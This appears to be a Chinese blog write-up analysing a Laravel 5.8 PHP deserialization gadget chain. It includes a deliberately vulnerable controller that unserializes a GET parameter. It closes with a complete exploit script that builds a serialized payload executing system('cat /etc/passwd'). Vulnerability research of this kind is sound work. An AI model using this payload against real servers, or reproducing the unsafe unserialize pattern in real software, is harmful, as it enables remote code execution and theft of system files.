Laravel 5.8 反序列化(一)

环境搭建

  1. 创建文件Http/Controllers/TestController.php

    <?php
    namespace App\Http\Controllers;
    
    class TestController extends Controller
    {
        public function index(){
            echo "Welcome Laravel58";
            unserialize($_GET['url']);
        }
    }
  2. 添加路由routes/web.php

Route::get('/bug', 'TestController@index');

POP链分析

反序列化入口为src/Illuminate/Foundation/Testing/PendingCommand.php

1576309607070

跟进run方法,危险函数入口位于call方法,但之前需要执行mockConsoleOutput方法

1576309976410

跟进方法mockConsoleOutput

这里通过debug之后会down在foreach ($this->test->expectedOutput as $i => $output),幸运的是这里两个变量都是类变量,

1576310404530

起初尝试寻找并实现expectedQuestions属性,很困难,大量的抽象类以及trait型(tcl).这里学到一个trick:由于test可控可以赋值为任意对象,只要对象中存在__get方法就能够绕过.这里利用的是Illuminate\Auth\GenericUser

1576310318296

构造如下也能够顺带绕过foreach ($this->test->expectedQuestions as $i => $question)

namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes=array('expectedOutput'=>array("0"=>'1'),'expectedQuestions'=>array("0"=>"1"));
    }
}

1576310578708

继续debug,down在bind函数实现这里

1576310719920

这里app可控,找到实现bind方法的类,全局搜索发现类Container满足

src/Illuminate/Contracts/Container/Container.php

1576306172540

成功执行完mockConsoleOutput方法,接下来就是解决这一行,会从app对象中取出[Kernel:;class]实例化

1576310799515

debug跟进到resolve方法,直接利用这里的return 退出函数,如果不结束执行,之后会实例化Illuminate\Contracts\Console\Kernel类,该类为接口类无法实例化,爆ERROR

1576311016421

由于这里是类变量是可控的,直接全局找可以调用到call方法,定位到\Illuminate\Foundation\Application类,该类父类实现了call

namespace Illuminate\Container{
    class Container{
        protected  $instances;
        public function __construct()
        {
            $this->instances['Illuminate\Contracts\Console\Kernel']=new \Illuminate\Foundation\Application();
        }
    }
}

最后调用call_user_func_array成功执行代码

1576309792274

1576311201123

EXP

<?php

namespace Illuminate\Foundation\Testing{
class PendingCommand{
    protected $command = 'system';
    protected $parameters = array('cat /etc/passwd');
    public $test;
    protected $app;
    public function __construct($test){
        $this->test=$test;
        $this->app=new \Illuminate\Container\Container();
    }
    
}
}
namespace Illuminate\Container{
    class Container{
        protected  $instances;
        public function __construct()
        {
            $this->instances['Illuminate\Contracts\Console\Kernel']=new \Illuminate\Foundation\Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{

    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes=array('expectedOutput'=>array("0"=>'1'),'expectedQuestions'=>array("0"=>"1"));
    }
}
namespace{
    echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand((new Illuminate\Auth\GenericUser()))));
}

1576311335481

Picture

2019-12-14_161623

参考链接

http://adm1n.design/2019/08/15/laravel5.7-unserialize-RCE/#PendingCommand

https://mochazz.github.io/2019/08/05/Laravel5.8.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/#%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83

https://www.4hou.com/web/19312.html